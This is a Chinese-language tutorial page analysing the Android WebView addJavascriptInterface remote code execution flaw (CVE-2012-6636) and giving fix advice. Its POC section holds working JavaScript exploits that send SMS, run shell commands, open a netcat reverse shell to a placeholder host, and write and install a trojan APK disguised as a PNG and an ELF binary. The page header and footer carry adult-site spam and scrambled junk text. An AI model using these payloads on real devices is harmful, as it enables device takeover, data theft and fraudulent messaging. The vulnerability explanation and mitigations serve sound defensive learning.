国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 系統(tǒng) > Android > 正文

關(guān)于Android中WebView遠程代碼執(zhí)行漏洞淺析

2019-10-22 18:12:02
字體:
供稿:網(wǎng)友

1. WebView 遠程代碼執(zhí)行漏洞描述

      Android API level 16以及之前的版本存在遠程代碼執(zhí)行安全漏洞,該漏洞源于程序沒有正確限制使用WebView.addJavascriptInterface方法,遠程攻擊者可通過使用Java Reflection API利用該漏洞執(zhí)行任意Java對象的方法,簡單的說就是通過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScript通過調(diào)用這個接口可以直接操作本地的JAVA接口。該漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API導致的遠程代碼執(zhí)行安全漏洞。

      該漏洞公布的近期,多款Android流行應用曾被曝出高危掛馬漏洞:點擊消息或朋友社區(qū)圈中的一條網(wǎng)址時,用戶手機然后就會自動執(zhí)行被掛馬的代碼指令,從而導致被安裝惡意扣費軟件、向好友發(fā)送欺詐短信、通訊錄和短信被竊取以及被遠程控制等嚴重后果。在烏云漏洞平臺上,包括Android版的微信、QQ、騰訊微博、QQ瀏覽器、快播、百度瀏覽器、金山瀏覽器等大批TOP應用均被曝光同類型的漏洞。

      論文Attacks on WebView in the Android System【2】中指出可以利用所導出的讀寫文件接口來進行文件的讀寫操作,攻擊者可以通過中間人攻擊篡改Webview所顯示的頁面來達到對手機文件系統(tǒng)的控制。

2. WebView 遠程代碼執(zhí)行影響范圍

      Android API level 小于17 (即Android 4.2之前的系統(tǒng)版本)

3.WebView 遠程代碼執(zhí)行漏洞詳情

1) WebView 遠程代碼執(zhí)行漏洞位置:

      WebView.addJavascriptInterface(Object obj, String interfaceName)

2)WebView 遠程代碼執(zhí)行漏洞觸發(fā)前提條件:

      使用addJavascriptInterface方法注冊可供JavaScript調(diào)用的Java對象;

      使用WebView加載外部網(wǎng)頁或者本地網(wǎng)頁;

      Android系統(tǒng)版本低于4.2;

3) WebView 遠程代碼執(zhí)行漏洞原理:

      Android系統(tǒng)通過WebView.addJavascriptInterface方法注冊可供JavaScript調(diào)用的Java對象,以用于增強JavaScript的功能。但是系統(tǒng)并沒有對注冊Java類的方法調(diào)用的限制。導致攻擊者可以利用反射機制調(diào)用未注冊的其它任何Java類,最終導致JavaScript能力的無限增強。攻擊者利用該漏洞可以根據(jù)客戶端能力為所欲為。

4. WebView 遠程代碼執(zhí)行漏洞POC

      1) 利用addJavascriptInterface方法注冊可供JavaScript調(diào)用的java對象 “injectedObj”,利用反射機制調(diào)用Android API sendTextMessage來發(fā)送短信。

      java代碼:

mWebView = new WebView(this);mWebView.getSettings().setJavaScriptEnabled(true);mWebView.addJavascriptInterface(this, "injectedObj");mWebView.loadUrl(file:///android_asset/www/index.html);

      EXP的JavaScript代碼:

<html> <body> <script>  var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);  objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null); </script> </body></html>

      2) 利用addJavascriptInterface方法注冊可供JavaScript調(diào)用的java對象 “injectedObj”,利用反射機制調(diào)用Android API getRuntime執(zhí)行shell命令:

      EXP的JavaScript代碼:

<html> <body> <script>  function execute(cmdArgs)  {  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  }  var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);  document.write(getContents(res.getInputStream())); </script> </body></html>

      利用后的執(zhí)行結(jié)果:

android,webview,漏洞,webview漏洞,遠程代碼執(zhí)行

      3) 利用addJavascriptInterface方法注冊可供JavaScript調(diào)用的java對象 “injectedObj”,利用反射機制調(diào)用Android API getRuntime執(zhí)行shell命令,達到反彈一個手機端的shell到遠程控制端的目的:

      EXP的JavaScript代碼:

<html> <body> <script>  function execute(cmdArgs)  {  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  }  execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]); </script> </body></html>

      執(zhí)行后的結(jié)果:

 android,webview,漏洞,webview漏洞,遠程代碼執(zhí)行

      4) 利用addJavascriptInterface方法注冊可供JavaScript調(diào)用的java對象 “injectedObj”,利用反射機制調(diào)用Android API getRuntime執(zhí)行shell命令進行掛馬:a安裝木馬應用APK, b 安裝執(zhí)行ELF可執(zhí)行程序;

      簡單的安裝發(fā)送短信木馬APK,EXP的JavaScript代碼:

<html> <body> <script>  function execute(cmdArgs)  {  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  }  var apk = "//x50//x4B//x03//x04//x14//x00//x08//x00//x08//x00//x62 //xB9//x15//x30//x3D//x07//x01//x00//x00//x7C//x01//x00//x00//x10//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//xD6//x0D//x00//x00//x4D//x45//x54//x41//x2D//x49//x4E//x46//x2F//x43//x45//x52//x54//x2E//x53------------------------------------------------------------ //x4D//x45//x54//x41//x2D//x49//x4E//x46//x2F//x43//x45//x52//x54//x2E//x52//x53//x41//x50//x4B//x05//x06//x00//x00//x00//x00//x07//x00//x07//x00//xBA//x01//x00//x00//xB6//x11//x00//x00//x00//x00"  execute(["/system/bin/sh","-c","echo '"+apk+"' > /data/data/com.example.hellojs/fake.png"]);  execute(["chmod","755","/data/data/com.example.hellojs/fake.png"]);  execute(["su","-c","pm install -r /data/data/com.example.hellojs/fake.png"]); </script> </body></html>

      由下圖可得知我們已經(jīng)拼接成了一個APK程序,并偽裝成一張png圖片:

android,webview,漏洞,webview漏洞,遠程代碼執(zhí)行

      由下圖可知,我們已經(jīng)成功安裝fake.png APK程序:

android,webview,漏洞,webview漏洞,遠程代碼執(zhí)行

      例如網(wǎng)上流行的Androrat遠程控制程序,攻擊者利用上述漏洞即可簡單的安裝此遠程控制木馬應用APK即可達到遠程控制用戶手機的目的。   

      利用漏洞拼接可執(zhí)行ELF程序,并執(zhí)行該ELF程序達到為所欲為的目的,博文Abusing WebView JavaScript Bridges

【3】還實現(xiàn)了在非root情況下利用ELF可執(zhí)行程序偷取sdcard的文件的POC,由此可見,該漏洞的危害性極大:

     EXP的JavaScript代碼:

<html> <body>  <script>   function execute(cmdArgs)   {    return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);   }   var bin = "//x7F//x45//x4C//x46//x01//x01//x01//x00//x00//x00//x00//x00//x00//x00//x00//x00//x02//x00//x28//x00//x01//x00//x00//x00//xE4//x83//x00//x00//x34//x00//x00//x00//x58//x21//x00//x00//x00//x00//x00//x05//x34//x00//x20//x00//x08//x00//x28//x00//x18//x00//x17//x00//x06//x00//x00//x00//x34//x00//x00//x00//x34//x80//x00//x00//x34//x80//x00//x00//x00//x01//x00//x00//x00//x01//x00//x00//x04//x00//x00//x00//x04//x00//x00//x00//x03//x00//x00//x00//x34//x01//x00//x00//x34//x81//x00//x00//x34//x81//x00//x00//x13--------------------------------------------------------------------------------------------------------------------------------//x00//x00//x00//x00//xD4//x00//x00//x00//x03//x00//x00//x70//x00//x00//x00//x00//x00//x00//x00//x00//x44//x20//x00//x00//x2D//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x01//x00//x00//x00//x00//x00//x00//x00//x01//x00//x00//x00//x03//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x71//x20//x00//x00//xE4//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x00//x01//x00//x00//x00//x00//x00//x00//x00";   execute(["/system/bin/sh","-c","echo '" + bin + "' > /data/data/com.example.hellojs/testBin"]);   execute(["chmod","755","/data/data/com.example.hellojs/testBin"]);   var res = execute(["/data/data/com.example.hellojs/testBin"]);   document.write(getContents(res.getInputStream()));  </script> </body></html>

      “testBin”文件已拼接生成,如下圖所示:

android,webview,漏洞,webview漏洞,遠程代碼執(zhí)行

      執(zhí)行之后的結(jié)果如下:

 android,webview,漏洞,webview漏洞,遠程代碼執(zhí)行

5. WebView遠程代碼執(zhí)行漏洞修復建議

1. API Level等于或高于17的Android系統(tǒng)【4】

      出于安全考慮,為了防止Java層的函數(shù)被隨便調(diào)用,Google在4.2版本之后,規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進行注解,所以如果某應用依賴的API Level為17或者以上,就不會受該問題的影響(注:Android 4.2中API Level小于17的應用也會受影響)。按照Google官方文檔[5]使用示例:

class JsObject { @JavascriptInterface public String toString() { return "injectedObject"; }}webView.addJavascriptInterface(new JsObject(), "injectedObject");webView.loadData("", "text/html", null);webView.loadUrl("javascript:alert(injectedObject.toString())");

2. API Level等于或高于17的Android系統(tǒng)

      建議不要使用addJavascriptInterface接口,以免帶來不必要的安全隱患,請參照博文《在Webview中如何讓JS與Java安全地互相調(diào)用》[6]。

      如果一定要使用addJavascriptInterface接口:

      1) 如果使用HTTPS協(xié)議加載URL,應進行證書校驗防止訪問的頁面被篡改掛馬;

      2) 如果使用HTTP協(xié)議加載URL,應進行白名單過濾、完整性校驗等防止訪問的頁面被篡改;

      3) 如果加載本地Html,應將html文件內(nèi)置在APK中,以及進行對html頁面完整性的校驗;

3. 移除Android系統(tǒng)內(nèi)部的默認內(nèi)置接口

      同時,在2014年發(fā)現(xiàn)在Android系統(tǒng)中webkit中默認內(nèi)置的一個searchBoxJavaBridge_ 接口同時存在遠程代碼執(zhí)行漏洞,該漏洞公布于CVE-2014-1939[7], 建議開發(fā)者通過以下方式移除該Javascript接口:    

 removeJavascriptInterface("searchBoxJavaBridge_") 

      2014年香港理工大學的研究人員Daoyuan Wu和Rocky Chang發(fā)現(xiàn)了兩個新的攻擊向量存在于android/webkit/AccessibilityInjector.java中,分別是"accessibility" 和"accessibilityTraversal" ,調(diào)用了此組件的應用在開啟輔助功能選項中第三方服務的安卓系統(tǒng)中會造成遠程代碼執(zhí)行漏洞。該漏洞公布于CVE-2014-7224, 此漏洞原理與searchBoxJavaBridge_接口遠程代碼執(zhí)行相似,均為未移除不安全的默認接口,建議開發(fā)者通過以下方式移除該JavaScript接口:

removeJavascriptInterface("accessibility"); removeJavascriptInterface("accessibilityTraversal");

參考文章

[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

[2] Attacks on WebView in the Android System

[3] http://50.56.33.56/blog/?p=314

[4] Google Official Android API Level Reference

[5] http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)

[6] 在Webview中如何讓JS與Java安全地互相調(diào)用

[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對VEVB武林網(wǎng)的支持。


注:相關(guān)教程知識閱讀請移步到Android開發(fā)頻道。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 五指山市| 长武县| 扎兰屯市| 长汀县| 那曲县| 濮阳市| 锦州市| 怀宁县| 娱乐| 宜都市| 台东市| 大姚县| 东阳市| 福泉市| 通州市| 咸丰县| 京山县| 松阳县| 巴林左旗| 巴林右旗| 石首市| 新源县| 华安县| 昌都县| 敦化市| 巴青县| 平湖市| 惠来县| 泸水县| 那曲县| 本溪| 商洛市| 秭归县| 香港 | 勐海县| 抚远县| 堆龙德庆县| 绿春县| 柳州市| 九江市| 绥阳县|